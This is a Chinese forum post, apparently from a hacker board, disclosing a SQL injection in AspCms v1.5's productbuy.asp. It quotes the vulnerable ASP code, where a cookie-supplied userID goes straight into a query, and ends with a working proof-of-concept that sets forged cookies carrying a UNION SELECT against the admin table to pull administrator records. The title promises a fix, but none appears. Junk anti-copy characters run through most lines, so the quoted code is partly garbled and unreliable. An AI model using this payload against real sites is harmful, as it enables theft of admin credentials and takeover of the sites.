AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
' X3 `* R4 ]& J$ w' u" M废话不多说，看代码：
! N2 `  c2 o/ s3 I# V
7 B' n/ `+ R# y& b  c$ e& [<%

. L& ~$ E% ~7 C2 ~" mif action = "buy" then

. d) A, Y3 \- w9 V# o4 ?3 V        addOrder()

4 z+ Y3 S' c: b: S# kelse

        echoContent()
0 r8 q- x1 @. _, |
& H5 e. X, V9 a( C2 ^3 x7 {9 C9 Bend if


5 y( `) `/ D- t) B' D3 P) b+ D
7 J) N/ v1 P% P. o……略过
' ]6 m$ `" i3 T9 Z2 @

% R" z& _. }: e) u
Sub echoContent()
( q2 L% b7 p/ R& `9 `" G5 p/ J) H
8 L3 X0 a% B4 I        dim id
( k& S  Y% Y. i2 U
' t5 R" K& \/ e1 ~        id=getForm("id","get")
+ F4 |1 s2 r6 H$ q; O; y
2 \- u8 [1 _% Q* V7 P. C        
3 b4 q) }" p, {1 v% d, |6 x5 G
/ G3 O2 t) @$ G( S# y        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
- h7 _1 t( f0 p3 A* n
; K  H6 c; v. c" x        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

4 D+ C/ U. i4 Z' Q9 S9 C        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
5 X( G. G" c0 r$ m, A5 _8 S
0 ?6 q( U3 v2 l( r% z$ }        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

4 b. L( a# |/ O
2 b, {: x2 i6 U0 @
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
1 S. }1 X9 r5 k
) u; p+ `0 b1 Q( p; j        selectproduct=rsObj(0)

        
3 L% b; G1 Q6 \6 t) |: z3 J- r
6 ]6 o  T! _- Y! Q) Y- v        Dim linkman,gender,phone,mobile,email,qq,address,postcode
6 t! n8 A. m3 S9 ^4 d
0 L$ A& _' ~3 B( S        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# e4 N; `# ]0 S
9 {1 ?7 P) Q) B) P# i        if rCookie("loginstatus")=1 then  
! S5 X, W' t! _1 O
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

  H0 n; ~' J( J& T( e                linkman=rsObj("truename")
. C+ d% m- i- y2 R# ~. I1 j1 p9 {
                gender=rsObj("gender")
9 B: z4 q6 T9 D  b
                phone=rsObj("phone")

4 P4 O  x9 R% ~9 x                mobile=rsObj("mobile")
0 X: v" C8 N; Y3 a4 |
4 n5 o# S  q/ o5 t7 p8 ~) J, z                email=rsObj("email")

+ E5 z, v* h4 [) {& [                qq=rsObj("qq")
' w+ W7 c$ _# f. x' j  O
. ~0 t- v, {4 @+ t' y* ?) q! j; P" L; o                address=rsObj("address")

/ X; p: x! L) f                postcode=rsObj("postcode")

        else
! i- T+ s; c4 H
+ m8 m/ C. {: e                gender=1

$ d. l2 N6 T  W        end if

" U$ }% H9 F) z4 B        rsObj.close()

, b! o$ _, N( @" p: i7 R) q               

% U# E. w; i( F& J; R- U6 J        with templateObj
) {; l5 ?, r) n9 c
) Y$ j  K% |2 h2 F0 g! r8 N                .content=loadFile(templatePath)        

                .parseHtml()
: [- t+ Q& m6 I* ?! \
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
9 L$ O/ H! ], P( n1 o
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
/ w( j& k6 {/ \5 |/ J9 N
8 o# K( }6 R$ F, z& W* c  S- A                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

9 b: \7 x, y" _# M& ]8 ]7 H8 i1 G                .content=replaceStr(.content,"[aspcms:email]",email)                        
6 ~* L/ W" l7 F6 |, C6 |
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

% g8 i1 w& B) o; D, l* N                .content=replaceStr(.content,"[aspcms:address]",address)                        
. z! |: [. J; m9 ]+ F. j* j% `. ^
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
# k! c! p& _  f' n) h
+ [* i( q( ^- @0 J8 @; Q" Z2 P7 y                .parseCommon()                 
, W, Y; F+ Y- O' R0 I, J
                echo .content
6 F8 w+ S7 ~7 Q/ D
        end with

        set templateobj =nothing : terminateAllObjects
9 V! v( Q0 s* ~% F$ m1 m9 s( T8 k
End Sub
$ J1 U( ^% h$ e漏洞很明显，没啥好说的
poc：
( @5 I, O& A+ o
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
, B! c: W$ h. l* o
, q  s5 M$ Z# X/ ^7 Q0 O' W! u